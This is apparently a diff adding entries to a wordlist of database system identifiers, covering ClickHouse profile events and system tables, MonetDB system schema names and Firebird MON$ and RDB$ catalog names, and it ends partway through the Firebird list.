+ProfileEvent_RuntimeDataflowStatisticsOutputBytes +ProfileEvent_RWLockAcquiredReadLocks +ProfileEvent_RWLockAcquiredWriteLocks +ProfileEvent_RWLockReadersWaitMilliseconds +ProfileEvent_RWLockWritersWaitMilliseconds +ProfileEvents +ProfileEvent_S3AbortMultipartUpload +ProfileEvent_S3CachedCredentialsProvidersAdded +ProfileEvent_S3CachedCredentialsProvidersReused +ProfileEvent_S3Clients +ProfileEvent_S3CompleteMultipartUpload +ProfileEvent_S3CopyObject +ProfileEvent_S3CreateMultipartUpload +ProfileEvent_S3DeleteObjects +ProfileEvent_S3GetObject +ProfileEvent_S3GetObjectTagging +ProfileEvent_S3GetRequestThrottlerBlocked +ProfileEvent_S3GetRequestThrottlerCount +ProfileEvent_S3GetRequestThrottlerSleepMicroseconds +ProfileEvent_S3HeadObject +ProfileEvent_S3ListObjects +ProfileEvent_S3PutObject +ProfileEvent_S3PutRequestThrottlerBlocked +ProfileEvent_S3PutRequestThrottlerCount +ProfileEvent_S3PutRequestThrottlerSleepMicroseconds +ProfileEvent_S3QueueSetFileFailedMicroseconds +ProfileEvent_S3QueueSetFileProcessedMicroseconds +ProfileEvent_S3QueueSetFileProcessingMicroseconds +ProfileEvent_S3ReadMicroseconds +ProfileEvent_S3ReadRequestAttempts +ProfileEvent_S3ReadRequestRetryableErrors +ProfileEvent_S3ReadRequestsCount +ProfileEvent_S3ReadRequestsErrors +ProfileEvent_S3ReadRequestsRedirects +ProfileEvent_S3ReadRequestsThrottling +ProfileEvent_S3UploadPart +ProfileEvent_S3UploadPartCopy +ProfileEvent_S3WriteMicroseconds +ProfileEvent_S3WriteRequestAttempts +ProfileEvent_S3WriteRequestRetryableErrors +ProfileEvent_S3WriteRequestsCount +ProfileEvent_S3WriteRequestsErrors +ProfileEvent_S3WriteRequestsRedirects +ProfileEvent_S3WriteRequestsThrottling +ProfileEvent_ScalarSubqueriesCacheMiss +ProfileEvent_ScalarSubqueriesGlobalCacheHit +ProfileEvent_ScalarSubqueriesLocalCacheHit +ProfileEvent_SchedulerIOReadBytes +ProfileEvent_SchedulerIOReadRequests +ProfileEvent_SchedulerIOReadWaitMicroseconds +ProfileEvent_SchedulerIOWriteBytes +ProfileEvent_SchedulerIOWriteRequests +ProfileEvent_SchedulerIOWriteWaitMicroseconds +ProfileEvent_SchemaInferenceCacheEvictions +ProfileEvent_SchemaInferenceCacheHits +ProfileEvent_SchemaInferenceCacheInvalidations +ProfileEvent_SchemaInferenceCacheMisses +ProfileEvent_SchemaInferenceCacheNumRowsHits +ProfileEvent_SchemaInferenceCacheNumRowsMisses +ProfileEvent_SchemaInferenceCacheSchemaHits +ProfileEvent_SchemaInferenceCacheSchemaMisses +ProfileEvent_Seek +ProfileEvent_SelectedBytes +ProfileEvent_SelectedMarks +ProfileEvent_SelectedMarksTotal +ProfileEvent_SelectedParts +ProfileEvent_SelectedPartsTotal +ProfileEvent_SelectedRanges +ProfileEvent_SelectedRows +ProfileEvent_SelectQueriesWithPrimaryKeyUsage +ProfileEvent_SelectQueriesWithSubqueries +ProfileEvent_SelectQuery +ProfileEvent_SelectQueryTimeMicroseconds +ProfileEvent_ServerStartupMilliseconds +ProfileEvent_SharedDatabaseCatalogFailedToApplyState +ProfileEvent_SharedDatabaseCatalogStateApplicationMicroseconds +ProfileEvent_SharedMergeTreeCondemnedPartsKillRequest +ProfileEvent_SharedMergeTreeCondemnedPartsLockConfict +ProfileEvent_SharedMergeTreeCondemnedPartsRemoved +ProfileEvent_SharedMergeTreeDataPartsFetchAttempt +ProfileEvent_SharedMergeTreeDataPartsFetchFromPeer +ProfileEvent_SharedMergeTreeDataPartsFetchFromPeerMicroseconds +ProfileEvent_SharedMergeTreeDataPartsFetchFromS3 +ProfileEvent_SharedMergeTreeGetPartsBatchToLoadMicroseconds +ProfileEvent_SharedMergeTreeHandleBlockingParts +ProfileEvent_SharedMergeTreeHandleBlockingPartsMicroseconds +ProfileEvent_SharedMergeTreeHandleFetchPartsMicroseconds +ProfileEvent_SharedMergeTreeHandleOutdatedParts +ProfileEvent_SharedMergeTreeHandleOutdatedPartsMicroseconds +ProfileEvent_SharedMergeTreeLoadChecksumAndIndexesMicroseconds +ProfileEvent_SharedMergeTreeMergeMutationAssignmentAttempt +ProfileEvent_SharedMergeTreeMergeMutationAssignmentFailedWithConflict +ProfileEvent_SharedMergeTreeMergeMutationAssignmentFailedWithNothingToDo +ProfileEvent_SharedMergeTreeMergeMutationAssignmentSuccessful +ProfileEvent_SharedMergeTreeMergePartsMovedToCondemned +ProfileEvent_SharedMergeTreeMergePartsMovedToOudated +ProfileEvent_SharedMergeTreeMergeSelectingTaskMicroseconds +ProfileEvent_SharedMergeTreeMetadataCacheHintLoadedFromCache +ProfileEvent_SharedMergeTreeOptimizeAsync +ProfileEvent_SharedMergeTreeOptimizeSync +ProfileEvent_SharedMergeTreeOutdatedPartsConfirmationInvocations +ProfileEvent_SharedMergeTreeOutdatedPartsConfirmationRequest +ProfileEvent_SharedMergeTreeOutdatedPartsHTTPRequest +ProfileEvent_SharedMergeTreeOutdatedPartsHTTPResponse +ProfileEvent_SharedMergeTreePartsKillerMicroseconds +ProfileEvent_SharedMergeTreePartsKillerParts +ProfileEvent_SharedMergeTreePartsKillerPartsMicroseconds +ProfileEvent_SharedMergeTreePartsKillerRuns +ProfileEvent_SharedMergeTreeScheduleDataProcessingJob +ProfileEvent_SharedMergeTreeScheduleDataProcessingJobMicroseconds +ProfileEvent_SharedMergeTreeScheduleDataProcessingJobNothingToScheduled +ProfileEvent_SharedMergeTreeTryUpdateDiskMetadataCacheForPartMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdateMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdates +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesByLeader +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesForMergesOrStatus +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromPeer +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromPeerMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromZooKeeper +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromZooKeeperMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesLeaderFailedElection +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesLeaderSuccessfulElection +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesPeerNotFound +ProfileEvent_SharedPartsLockHoldMicroseconds +ProfileEvent_SharedPartsLocks +ProfileEvent_SharedPartsLockWaitMicroseconds +ProfileEvent_SleepFunctionCalls +ProfileEvent_SleepFunctionElapsedMicroseconds +ProfileEvent_SleepFunctionMicroseconds +ProfileEvent_SlowRead +ProfileEvent_SoftPageFaults +ProfileEvent_StorageBufferErrorOnFlush +ProfileEvent_StorageBufferFlush +ProfileEvent_StorageBufferLayerLockReadersWaitMilliseconds +ProfileEvent_StorageBufferLayerLockWritersWaitMilliseconds +ProfileEvent_StorageBufferPassedAllMinThresholds +ProfileEvent_StorageBufferPassedBytesFlushThreshold +ProfileEvent_StorageBufferPassedBytesMaxThreshold +ProfileEvent_StorageBufferPassedRowsFlushThreshold +ProfileEvent_StorageBufferPassedRowsMaxThreshold +ProfileEvent_StorageBufferPassedTimeFlushThreshold +ProfileEvent_StorageBufferPassedTimeMaxThreshold +ProfileEvent_StorageConnectionsCreated +ProfileEvent_StorageConnectionsElapsedMicroseconds +ProfileEvent_StorageConnectionsErrors +ProfileEvent_StorageConnectionsExpired +ProfileEvent_StorageConnectionsPreserved +ProfileEvent_StorageConnectionsReset +ProfileEvent_StorageConnectionsReused +ProfileEvent_SummingSortedMilliseconds +ProfileEvent_SuspendSendingQueryToShard +ProfileEvent_SynchronousReadWaitMicroseconds +ProfileEvent_SynchronousRemoteReadWaitMicroseconds +ProfileEvent_SystemLogErrorOnFlush +ProfileEvent_SystemTimeMicroseconds +ProfileEvent_TableFunctionExecute +ProfileEvent_TextIndexDictionaryBlockCacheHits +ProfileEvent_TextIndexDictionaryBlockCacheMisses +ProfileEvent_TextIndexDiscardHint +ProfileEvent_TextIndexHeaderCacheHits +ProfileEvent_TextIndexHeaderCacheMisses +ProfileEvent_TextIndexPostingsCacheHits +ProfileEvent_TextIndexPostingsCacheMisses +ProfileEvent_TextIndexReadDictionaryBlocks +ProfileEvent_TextIndexReaderTotalMicroseconds +ProfileEvent_TextIndexReadGranulesMicroseconds +ProfileEvent_TextIndexReadPostings +ProfileEvent_TextIndexReadSparseIndexBlocks +ProfileEvent_TextIndexUsedEmbeddedPostings +ProfileEvent_TextIndexUseHint +ProfileEvent_ThreadPoolReaderPageCacheHit +ProfileEvent_ThreadPoolReaderPageCacheHitBytes +ProfileEvent_ThreadPoolReaderPageCacheHitElapsedMicroseconds +ProfileEvent_ThreadPoolReaderPageCacheMiss +ProfileEvent_ThreadPoolReaderPageCacheMissBytes +ProfileEvent_ThreadPoolReaderPageCacheMissElapsedMicroseconds +ProfileEvent_ThreadpoolReaderPrepareMicroseconds +ProfileEvent_ThreadpoolReaderReadBytes +ProfileEvent_ThreadpoolReaderSubmit +ProfileEvent_ThreadpoolReaderSubmitLookupInCacheMicroseconds +ProfileEvent_ThreadpoolReaderSubmitReadSynchronously +ProfileEvent_ThreadpoolReaderSubmitReadSynchronouslyBytes +ProfileEvent_ThreadpoolReaderSubmitReadSynchronouslyMicroseconds +ProfileEvent_ThreadpoolReaderTaskMicroseconds +ProfileEvent_ThrottlerSleepMicroseconds +ProfileEvent_TinyS3Clients +ProfileEvent_UncompressedCacheHits +ProfileEvent_UncompressedCacheMisses +ProfileEvent_UncompressedCacheWeightLost +ProfileEvent_USearchAddComputedDistances +ProfileEvent_USearchAddCount +ProfileEvent_USearchAddVisitedMembers +ProfileEvent_USearchSearchComputedDistances +ProfileEvent_USearchSearchCount +ProfileEvent_USearchSearchVisitedMembers +ProfileEvent_UserTimeMicroseconds +ProfileEvent_VectorSimilarityIndexCacheHits +ProfileEvent_VectorSimilarityIndexCacheMisses +ProfileEvent_VectorSimilarityIndexCacheWeightLost +ProfileEvent_VersionedCollapsingSortedMilliseconds +ProfileEvent_WaitMarksLoadMicroseconds +ProfileEvent_WaitPrefetchTaskMicroseconds +ProfileEvent_WriteBufferFromFileDescriptorWrite +ProfileEvent_WriteBufferFromFileDescriptorWriteBytes +ProfileEvent_WriteBufferFromFileDescriptorWriteFailed +ProfileEvent_WriteBufferFromHTTPBytes +ProfileEvent_WriteBufferFromHTTPRequestsSent +ProfileEvent_WriteBufferFromS3Bytes +ProfileEvent_WriteBufferFromS3Microseconds +ProfileEvent_WriteBufferFromS3RequestsErrors +ProfileEvent_WriteBufferFromS3WaitInflightLimitMicroseconds +ProfileEvent_ZooKeeperBytesReceived +ProfileEvent_ZooKeeperBytesSent +ProfileEvent_ZooKeeperCheck +ProfileEvent_ZooKeeperClose +ProfileEvent_ZooKeeperCreate +ProfileEvent_ZooKeeperExists +ProfileEvent_ZooKeeperGet +ProfileEvent_ZooKeeperGetACL +ProfileEvent_ZooKeeperHardwareExceptions +ProfileEvent_ZooKeeperInit +ProfileEvent_ZooKeeperList +ProfileEvent_ZooKeeperMulti +ProfileEvent_ZooKeeperMultiRead +ProfileEvent_ZooKeeperMultiWrite +ProfileEvent_ZooKeeperOtherExceptions +ProfileEvent_ZooKeeperReconfig +ProfileEvent_ZooKeeperRemove +ProfileEvent_ZooKeeperSet +ProfileEvent_ZooKeeperSync +ProfileEvent_ZooKeeperTransactions +ProfileEvent_ZooKeeperUserExceptions +ProfileEvent_ZooKeeperWaitMicroseconds +ProfileEvent_ZooKeeperWatchResponse +profile_name +progress +projection_parts +projection_parts_columns +projections +ptr +queries +query +query_cache +query_cache_usage +query_condition_cache +query_count +query_create_time +query_duration_ms +query_finish_time +query_id +query_inserts +query_kind +query_log +query_selects +query_start_time +query_start_time_microseconds +queue_cost +queue_length +queue_oldest_time +queue_size +quota_key +quota_limits +quota_name +quotas +quotas_usage +quotation_mark +quota_usage +radical +rdkafka_stat +read_bytes +read_disks +readonly +readonly_duration +readonly_start_time +read_rows +ready_seqno +reason +recovery_time +refcount +referenced_column_name +REFERENCED_COLUMN_NAME +referenced_table_name +REFERENCED_TABLE_NAME +referenced_table_schema +REFERENCED_TABLE_SCHEMA +references +referential_constraints +REFERENTIAL_CONSTRAINTS +regexp +regional_indicator +registration_time +remote +remote_data_paths +remote_path +removal_csn +removal_state +removal_tid +removal_tid_lock +remove_time +replica_is_active +replica_name +replica_num +replica_path +replicas +replicated_fetches +replicated_merge_tree_settings +replication_lag +replication_queue +required_quorum +resource +resources +result_bytes +result_part_name +result_part_path +result_rows +result_size +retry +returned_value +revision +rgi_emoji +rgi_emoji_flag_sequence +rgi_emoji_modifier_sequence +rgi_emoji_tag_sequence +rgi_emoji_zwj_sequence +rocksdb +role_grants +role_name +roles +rollback +row_policies +rows +rows_processed +rows_read +rows_written +rule_type +s3queue +s3_queue_settings +sampling_key +scheduled +scheduler +schedule_time +schema +schema_inference_cache +schema_inference_mode +schema_name +SCHEMA_NAME +schema_owner +SCHEMA_OWNER +schemata +SCHEMATA +script +script_extensions +script_line_number +script_query_number +secondary_indices_compressed_bytes +secondary_indices_marks_bytes +secondary_indices_uncompressed_bytes +segment_starter +select_filter +sentence_break +sentence_terminal +seq_in_index +SEQ_IN_INDEX +serialization_hint +serialization_kind +serial_number +server_settings +setting_name +settings +Settings +settings_changes +settings_profile_elements +settings_profiles +shard_name +shard_num +shard_weight +shared +short_name +signature_algo +simple_case_folding +simple_lowercase_mapping +simple_titlecase_mapping +simple_uppercase_mapping +size +size_in_bytes +slowdowns_count +slru_size_ratio +snapshot_id +soft_dotted +sorting_key +source +source_file +source_line +source_part_names +source_part_paths +source_replica +source_replica_hostname +source_replica_path +source_replica_port +sql_path +SQL_PATH +stack_trace +stale +start_time +state +statistics +STATISTICS +status +step_uniq_id +storage +storage_policies +storage_policy +subject +sub_part +SUB_PART +substitution +substreams +support +SUPPORT +supports_append +supports_deduplication +supports_parallel_formatting +supports_parallel_insert +supports_parallel_parsing +supports_projections +supports_random_access +supports_replication +supports_settings +supports_skipping_indices +supports_sort_order +supports_subsets_of_columns +supports_ttl +surname +symbol +symbol_demangled +symbols +syntax +system +system_vruntime +table +table_catalog +TABLE_CATALOG +table_collation +TABLE_COLLATION +table_comment +TABLE_COMMENT +table_dropped_time +table_engines +table_functions +table_name +TABLE_NAME +table_rows +TABLE_ROWS +tables +TABLES +table_schema +TABLE_SCHEMA +table_type +TABLE_TYPE +table_uuid +tag +target_disk_name +target_disk_path +task_name +task_uuid +terminal_punctuation +text_log +thread_id +thread_ids +thread_name +throttling_us +throughput +tier +timestamp_ns +time_zone +time_zones +title +titlecase_mapping +to_detached +tokens +to_shard +total_bytes +total_bytes_uncompressed +total_marks +total_replicas +total_rows +total_rows_approx +total_size +total_size_bytes_compressed +total_size_bytes_uncompressed +total_size_marks +total_space +trace +trace_log +trace_type +trail_canonical_combining_class +transaction_id +type +type_full +unbound +uncompressed_hash_of_compressed_files +uncompressed_size +unicode +unified_ideograph +unique_constraint_catalog +UNIQUE_CONSTRAINT_CATALOG +unique_constraint_name +UNIQUE_CONSTRAINT_NAME +unique_constraint_schema +UNIQUE_CONSTRAINT_SCHEMA +unit +unreserved_space +unsynced_after_recovery +update_rule +UPDATE_RULE +update_time +uppercase +uppercase_mapping +URI +used_aggregate_function_combinators +used_aggregate_functions +used_database_engines +used_data_type_families +used_dictionaries +used_executable_user_defined_functions +used_formats +used_functions +used_privileges +used_row_policies +used_sql_user_defined_functions +used_storages +used_table_functions +user +user_directories +user_id +user_name +user_processes +users +uuid +value +value1 +value10 +value2 +value3 +value4 +value5 +value6 +value7 +value8 +value9 +variation_selector +version +vertical_orientation +view +view_definition +VIEW_DEFINITION +view_refreshes +views +VIEWS +visible +volume_name +volume_priority +volume_type +vruntime +waiters +warnings +weight +white_space +with_admin_option +word +word_break +workloads +writability +write_cache_per_user_id_directory +write_disks +written_bytes +written_rows +xdigit +xid_continue +xid_start +zero +zeros +zeros_mt +zookeeper_exception +zookeeper_name +zookeeper_path + +[MonetDB] +access +action +action_id +action_name +address +a_nme +arg_id +arg_name +arg_nr +args +arguments +atomwidth +auth_id +auth_name +authorization +auths +auth_srid +cache +cacheinc +col +column +column_id +column_name +_columns +columns +columnsize +comment +comments +commit_action +compinfo +component +con +condition +constraint_name +coord_dimension +count +cpu +created +cycle +db_user_info +def +default +default_role +default_schema +defined +delete_action +delete_action_id +dependencies +dependencies_vw +dependency_args_on_types +dependency_columns_on_functions +dependency_columns_on_indexes +dependency_columns_on_keys +dependency_columns_on_procedures +dependency_columns_on_triggers +dependency_columns_on_types +dependency_columns_on_views +dependency_functions_on_functions +dependency_functions_on_procedures +dependency_functions_on_triggers +dependency_functions_on_types +dependency_functions_on_views +dependency_keys_on_foreignkeys +dependency_owners_on_schemas +dependency_schemas_on_users +dependency_tables_on_foreignkeys +dependency_tables_on_functions +dependency_tables_on_indexes +dependency_tables_on_procedures +dependency_tables_on_triggers +dependency_tables_on_views +dependency_type_id +dependency_type_name +dependency_types +dependency_views_on_functions +dependency_views_on_procedures +dependency_views_on_views +depend_id +depend_type +describe_column_defaults +describe_comments +describe_constraints +describe_foreign_keys +describe_functions +describe_indices +describe_partition_tables +describe_privileges +describe_sequences +describe_tables +describe_triggers +describe_user_defined_types +digits +distinct +dump_add_schemas_to_users +dump_column_defaults +dump_column_grants +dump_comments +dump_create_roles +dump_create_schemas +dump_create_users +dump_foreign_keys +dump_function_grants +dump_functions +dump_grant_user_privileges +dump_indices +dump_partition_tables +dump_sequences +dump_start_sequences +dump_statements +dump_table_constraint_type +dump_table_grants +dump_tables +dump_triggers +dump_user_defined_types +eclass +environment +event +expression +ext_tpe +f_geometry_column +finished +fk +fk_c +fkey_actions +fkeys +fk_id +fk_name +fk_s +fk_t +fk_table_id +fldid +footprint +foreign_schema_name +foreign_table_name +fqn +f_table_catalog +f_table_name +f_table_schema +fullname +fully_qualified_functions +fun +func +func_id +function +function_id +function_languages +function_name +functions +function_schema_id +function_type +function_type_id +function_type_keyword +function_type_name +function_types +geometry_columns +g_nme +grantable +grantee +grantor +hashes +hashsize +heapsize +id +idle +ids +idxs +imprints +imprintsize +inc +increment +ind +index_id +index_name +index_type +index_type_id +index_type_name +index_types +inout +input +io +isacolumn +key_col_nr +key_id +key_name +keys +key_table_id +key_type +key_type_id +key_type_name +key_types +keyword +keywords +language +language_id +language_keyword +language_name +location +login +login_id +log_level +ma +mal +malfunctions +maximum +max_memory +maxval +maxvalue +max_workers +maxworkers +memorylimit +merge_schema_name +merge_table_name +message +mi +minimum +minval +minvalue +mod +mode +module +m_sch +m_tbl +name +new_name +nils +nme +nomax +nomin +nr +null +number +o +objects +obj_id +obj_type +old_name +on_delete +o_nme +on_update +opt +optimize +optimizer +optimizers +orderidx +orderidxsize +orientation +o_tpe +owner +owner_name +partition_id +partition_schema_name +partition_table_name +password +phash +pipe +pk_c +pk_s +pk_t +plan +p_nme +prepared_statements +prepared_statements_args +primary_schema_name +primary_table_name +privilege_code_id +privilege_code_name +privilege_codes +privileges +procedure_id +procedure_name +procedure_schema_id +procedure_type +proj4text +p_sch +p_tbl +pvalues +query +querylog_calls +querylog_catalog +querylog_history +querytimeout +queue +radix +range_partitions +reference +rejects +rem +remark +revsorted +rkey +rma +rmi +role_id +roles +rowcount +rowid +rs +run +s +scale +sch +schema +schema_id +schema_name +schema_path +schemas +schemastorage +semantics +seq +seqname +seq_nr +sequence_name +sequences +sessionid +sessions +sessiontimeout +ship +side_effect +signature +sorted +spatial_ref_sys +sqlname +sql_tpe +srid +srtext +start +started +statement +statementid +statistics +status +stmt +stop +storage +storagemodel +storagemodelinput +storages +sub +sys_table +system +systemname +tab +table +table_id +table_name +table_partitions +_tables +tables +table_schema_id +tablestorage +tablestoragemodel +table_type_id +table_type_name +table_types +tag +tbl +temporary +ticks +time +tpe +tracelog +tri +trigger_id +trigger_name +triggers +trigger_table_id +tuples +typ +type +type_digits +type_id +type_name +types +type_scale +typewidth +unique +update_action +update_action_id +used_by_id +used_by_name +used_by_obj_type +used_in_function_id +used_in_function_name +used_in_function_schema_id +used_in_function_type +user_name +username +user_role +users +value +value_partitions +vararg +var_name +varres +var_values +view1_id +view1_name +view1_schema_id +view2_id +view2_name +view2_schema_id +view_id +view_name +view_schema_id +width +with_nulls +workerlimit + +[Firebird] +ID +MON$ATTACHMENT_ID +MON$ATTACHMENT_NAME +MON$ATTACHMENTS +MON$AUTH_METHOD +MON$AUTO_COMMIT +MON$AUTO_UNDO +MON$BACKUP_STATE +MON$BACKVERSION_READS +MON$CALLER_ID +MON$CALL_ID +MON$CALL_STACK +MON$CHARACTER_SET_ID +MON$CLIENT_VERSION +MON$COMPILED_STATEMENT_ID +MON$COMPILED_STATEMENTS +MON$CONTEXT_VARIABLES +MON$CREATION_DATE +MON$CRYPT_PAGE +MON$CRYPT_STATE +MON$DATABASE +MON$DATABASE_NAME +MON$EXPLAINED_PLAN +MON$FILE_ID +MON$FORCED_WRITES +MON$FRAGMENT_READS +MON$GARBAGE_COLLECTION +MON$GUID +MON$IDLE_TIMEOUT +MON$IDLE_TIMER +MON$IO_STATS +MON$ISOLATION_MODE +MON$LOCK_TIMEOUT +MON$MAX_MEMORY_ALLOCATED +MON$MAX_MEMORY_USED +MON$MEMORY_ALLOCATED +MON$MEMORY_USAGE +MON$MEMORY_USED +MON$NEXT_ATTACHMENT +MON$NEXT_STATEMENT +MON$NEXT_TRANSACTION +MON$OBJECT_NAME +MON$OBJECT_TYPE +MON$ODS_MAJOR +MON$ODS_MINOR +MON$OLDEST_ACTIVE +MON$OLDEST_SNAPSHOT +MON$OLDEST_TRANSACTION +MON$OWNER +MON$PACKAGE_NAME +MON$PAGE_BUFFERS +MON$PAGE_FETCHES +MON$PAGE_MARKS +MON$PAGE_READS +MON$PAGES +MON$PAGE_SIZE +MON$PAGE_WRITES +MON$PARALLEL_WORKERS +MON$READ_ONLY +MON$RECORD_BACKOUTS +MON$RECORD_CONFLICTS +MON$RECORD_DELETES +MON$RECORD_EXPUNGES +MON$RECORD_IDX_READS +MON$RECORD_IMGC +MON$RECORD_INSERTS +MON$RECORD_LOCKS +MON$RECORD_PURGES +MON$RECORD_RPT_READS +MON$RECORD_SEQ_READS +MON$RECORD_STAT_ID +MON$RECORD_STATS +MON$RECORD_UPDATES +MON$RECORD_WAITS +MON$REMOTE_ADDRESS +MON$REMOTE_HOST +MON$REMOTE_OS_USER +MON$REMOTE_PID +MON$REMOTE_PROCESS +MON$REMOTE_PROTOCOL +MON$REMOTE_VERSION +MON$REPLICA_MODE +MON$RESERVE_SPACE +MON$ROLE +MON$SEC_DATABASE +MON$SERVER_PID +MON$SESSION_TIMEZONE +MON$SHUTDOWN_MODE +MON$SOURCE_COLUMN +MON$SOURCE_LINE +MON$SQL_DIALECT +MON$SQL_TEXT +MON$STATE +MON$STATEMENT_ID +MON$STATEMENTS +MON$STATEMENT_TIMEOUT +MON$STATEMENT_TIMER +MON$STAT_GROUP +MON$STAT_ID +MON$SWEEP_INTERVAL +MON$SYSTEM_FLAG +MON$TABLE_NAME +MON$TABLE_STATS +MON$TIMESTAMP +MON$TOP_TRANSACTION +MON$TRANSACTION_ID +MON$TRANSACTIONS +MON$USER +MON$VARIABLE_NAME +MON$VARIABLE_VALUE +MON$WIRE_COMPRESSED +MON$WIRE_CRYPT_PLUGIN +MON$WIRE_ENCRYPTED +NAME +RDB$ACL +RDB$ACTIVE_FLAG +RDB$ARGUMENT_MECHANISM +RDB$ARGUMENT_NAME +RDB$ARGUMENT_POSITION +RDB$AUTH_MAPPING +RDB$AUTO_ENABLE +RDB$BACKUP_HISTORY +RDB$BACKUP_ID +RDB$BACKUP_LEVEL +RDB$BASE_COLLATION_NAME +RDB$BASE_FIELD +RDB$BYTES_PER_CHARACTER +RDB$CHARACTER_LENGTH +RDB$CHARACTER_SET_ID +RDB$CHARACTER_SET_NAME +RDB$CHARACTER_SETS +RDB$CHECK_CONSTRAINTS +RDB$COLLATION_ATTRIBUTES +RDB$COLLATION_ID +RDB$COLLATION_NAME +RDB$COLLATIONS +RDB$COMPLEX_NAME +RDB$COMPUTED_BLR +RDB$COMPUTED_SOURCE +RDB$CONDITION_BLR +RDB$CONDITION_SOURCE +RDB$CONFIG +RDB$CONFIG_DEFAULT +RDB$CONFIG_ID +RDB$CONFIG_IS_SET +RDB$CONFIG_NAME +RDB$CONFIG_SOURCE +RDB$CONFIG_VALUE +RDB$CONST_NAME_UQ +RDB$CONSTRAINT_NAME +RDB$CONSTRAINT_TYPE +RDB$CONTEXT_NAME +RDB$CONTEXT_TYPE +RDB$DATABASE +RDB$DB_CREATORS +RDB$DBKEY_LENGTH +RDB$DEBUG_INFO +RDB$DEFAULT_CLASS +RDB$DEFAULT_COLLATE_NAME +RDB$DEFAULT_SOURCE +RDB$DEFAULT_VALUE +RDB$DEFERRABLE +RDB$DELETE_RULE +RDB$DEPENDED_ON_NAME +RDB$DEPENDED_ON_TYPE +RDB$DEPENDENCIES +RDB$DEPENDENT_NAME +RDB$DEPENDENT_TYPE +RDB$DESCRIPTION +RDB$DESCRIPTOR +RDB$DETERMINISTIC_FLAG +RDB$DIMENSION +RDB$DIMENSIONS +RDB$EDIT_STRING +RDB$ENGINE_NAME +RDB$ENTRYPOINT +RDB$EXCEPTION_NAME +RDB$EXCEPTION_NUMBER +RDB$EXCEPTIONS +RDB$EXPRESSION_BLR +RDB$EXPRESSION_SOURCE +RDB$EXTERNAL_DESCRIPTION +RDB$EXTERNAL_FILE +RDB$EXTERNAL_LENGTH +RDB$EXTERNAL_SCALE +RDB$EXTERNAL_TYPE +RDB$FIELD_DIMENSIONS +RDB$FIELD_ID +RDB$FIELD_LENGTH +RDB$FIELD_NAME +RDB$FIELD_POSITION +RDB$FIELD_PRECISION +RDB$FIELDS +RDB$FIELD_SCALE +RDB$FIELD_SOURCE +RDB$FIELD_SUB_TYPE +RDB$FIELD_TYPE +RDB$FILE_FLAGS +RDB$FILE_LENGTH +RDB$FILE_NAME +RDB$FILE_PARTITIONS +RDB$FILE_P_OFFSET +RDB$FILES +RDB$FILE_SEQUENCE +RDB$FILE_START +RDB$FILTERS +RDB$FLAGS +RDB$FOREIGN_KEY +RDB$FORMAT +RDB$FORMATS +RDB$FORM_OF_USE +RDB$FUNCTION_ARGUMENTS +RDB$FUNCTION_BLR +RDB$FUNCTION_ID +RDB$FUNCTION_NAME +RDB$FUNCTIONS +RDB$FUNCTION_SOURCE +RDB$FUNCTION_TYPE +RDB$GENERATOR_ID +RDB$GENERATOR_INCREMENT +RDB$GENERATOR_NAME +RDB$GENERATORS +RDB$GRANT_OPTION +RDB$GRANTOR +RDB$GUID +RDB$IDENTITY_TYPE +RDB$INDEX_ID +RDB$INDEX_INACTIVE +RDB$INDEX_NAME +RDB$INDEX_SEGMENTS +RDB$INDEX_TYPE +RDB$INDICES +RDB$INITIALLY_DEFERRED +RDB$INITIAL_VALUE +RDB$INPUT_SUB_TYPE +RDB$KEYWORD_NAME +RDB$KEYWORD_RESERVED +RDB$KEYWORDS +RDB$LEGACY_FLAG +RDB$LINGER +RDB$LOG_FILES +RDB$LOWER_BOUND +RDB$MAP_DB +RDB$MAP_FROM +RDB$MAP_FROM_TYPE +RDB$MAP_NAME +RDB$MAP_PLUGIN +RDB$MAP_TO +RDB$MAP_TO_TYPE +RDB$MAP_USING +RDB$MATCH_OPTION +RDB$MECHANISM +RDB$MESSAGE +RDB$MESSAGE_NUMBER +RDB$MISSING_SOURCE +RDB$MISSING_VALUE +RDB$MODULE_NAME +RDB$NULL_FLAG +RDB$NUMBER_OF_CHARACTERS +RDB$OBJECT_TYPE +RDB$OUTPUT_SUB_TYPE +RDB$OWNER_NAME +RDB$PACKAGE_BODY_SOURCE +RDB$PACKAGE_HEADER_SOURCE +RDB$PACKAGE_NAME +RDB$PACKAGES +RDB$PAGE_NUMBER +RDB$PAGES +RDB$PAGE_SEQUENCE +RDB$PAGE_TYPE +RDB$PARAMETER_MECHANISM +RDB$PARAMETER_NAME +RDB$PARAMETER_NUMBER +RDB$PARAMETER_TYPE +RDB$PRIVATE_FLAG +RDB$PRIVILEGE +RDB$PROCEDURE_BLR +RDB$PROCEDURE_ID +RDB$PROCEDURE_INPUTS +RDB$PROCEDURE_NAME +RDB$PROCEDURE_OUTPUTS +RDB$PROCEDURE_PARAMETERS +RDB$PROCEDURES +RDB$PROCEDURE_SOURCE +RDB$PROCEDURE_TYPE +RDB$PUBLICATION_NAME +RDB$PUBLICATIONS +RDB$PUBLICATION_TABLES +RDB$QUERY_HEADER +RDB$QUERY_NAME +RDB$REF_CONSTRAINTS +RDB$RELATION_CONSTRAINTS +RDB$RELATION_FIELDS +RDB$RELATION_ID +RDB$RELATION_NAME +RDB$RELATIONS +RDB$RELATION_TYPE +RDB$RETURN_ARGUMENT +RDB$ROLE_NAME +RDB$ROLES +RDB$RUNTIME +RDB$SCN +RDB$SECURITY_CLASS +RDB$SECURITY_CLASSES +RDB$SEGMENT_COUNT +RDB$SEGMENT_LENGTH +RDB$SHADOW_NUMBER +RDB$SPECIFIC_ATTRIBUTES +RDB$SQL_SECURITY +RDB$STATISTICS +RDB$SYSTEM_FLAG +RDB$SYSTEM_PRIVILEGES +RDB$TABLE_NAME +RDB$TIMESTAMP +RDB$TIME_ZONE_ID +RDB$TIME_ZONE_NAME +RDB$TIME_ZONES +RDB$TRANSACTION_DESCRIPTION +RDB$TRANSACTION_ID +RDB$TRANSACTIONS +RDB$TRANSACTION_STATE +RDB$TRIGGER_BLR 